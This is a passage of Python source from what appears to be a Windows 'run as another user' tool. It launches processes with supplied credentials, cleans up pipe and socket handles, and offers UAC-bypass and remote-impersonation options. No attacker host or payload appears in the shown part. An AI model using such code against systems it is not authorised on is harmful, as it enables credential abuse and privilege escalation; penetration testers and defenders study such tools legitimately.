737 | raise RunAsPyException(f"The flag --bypass-uac is not compatible with {GetProcessFunction(createProcessFunction)} but only with --function '2' (CreateProcessWithLogonW)", showError=False)
738 | if createProcessFunction == 0:
739 | self.RunasCreateProcessAsUserW(username, domainName, password, logonType, logonProvider, commandLine, forceUserProfileCreation, userProfileExists, processInfo)
740 | elif createProcessFunction == 1:
741 | self.RunasCreateProcessWithTokenW(username, domainName, password, commandLine.encode(), logonType, logonFlags, logonProvider, processInfo)
742 | output = ""
743 | if processTimeout > 0:
744 | CloseHandle(self.hOutputWrite)
745 | CloseHandle(self.hErrorWrite)
746 | self.hOutputWrite = ctypes.wintypes.DWORD(0)
747 | self.hErrorWrite = ctypes.wintypes.DWORD(0)
748 | WaitForSingleObject(processInfo.process, processTimeout)
749 | output += f"{self.ReadOutputFromPipe(self.hOutputRead)}"
750 | else:
751 | sessionId = ctypes.wintypes.DWORD()
752 | hResult = ProcessIdToSessionId(ctypes.wintypes.DWORD(GetCurrentProcessId()), ctypes.byref(sessionId))
753 | if not hResult:
754 | raise SystemError(f"[!] Error encountered when obtaining session id: {hResult} ({ctypes.GetLastError()})")
755 | if remoteImpersonation:
756 | logging.info(f"Running in session { sessionId } with process function 'Remote Impersonation'")
757 | else:
758 | logging.info(f"Running in session { sessionId } with process function { GetProcessFunction(createProcessFunction)}")
759 | logging.info(f"Using Station\\Desktop: { desktopName }")
760 | logging.info(f"Async process '{ commandLine }' with pid { processInfo.processId } created in background.")
761 | CloseHandle(processInfo.process)
762 | CloseHandle(processInfo.thread)
763 | self.CleanupHandles()
764 | return output
765 |
766 | def CleanupHandles(self):
767 | if self.hOutputRead.value:
768 | CloseHandle(self.hOutputRead)
769 | if self.hOutputWrite.value:
770 | CloseHandle(self.hOutputWrite)
771 | if self.hErrorWrite:
772 | CloseHandle(self.hErrorWrite)
773 | if self.socket:
774 | closesocket(self.socket)
775 | self.hOutputRead = ctypes.c_void_p(0)
776 | self.hOutputWrite = ctypes.c_void_p(0)
777 | self.hErrorWrite = ctypes.c_void_p(0)
778 | self.socket = ctypes.c_void_p(0)
779 | self.hTokenPreviousImpersonatingThread = ctypes.c_void_p(0)
780 | self.stationDaclObj = None
781 |
782 |
783 | def Runas(username=None, password=None, cmd=None, domainName=None, processTimeout=120000, logonType=2, createProcessFunction=0, remote=None, forceUserProfileCreation=False, bypassUac=False, remoteImpersonation=False, verbose=False):
784 | if verbose:
785 | logging.getLogger().setLevel(logging.INFO)
786 | log_handler = logging.StreamHandler()
787 | log_handler.setLevel(logging.INFO)
788 | log_handler.setFormatter(runas_logging_formatter())
789 | logging.getLogger().addHandler(log_handler)
790 | invoker = RunAsPy()
791 | try:
792 | output = invoker.RunAs(username, password, cmd, domainName, processTimeout, logonType, createProcessFunction, remote, forceUserProfileCreation, bypassUac, remoteImpersonation)
793 | except Exception as e:
794 | invoker.CleanupHandles()
795 | output = f"{e}"
796 | return output
--------------------------------------------------------------------------------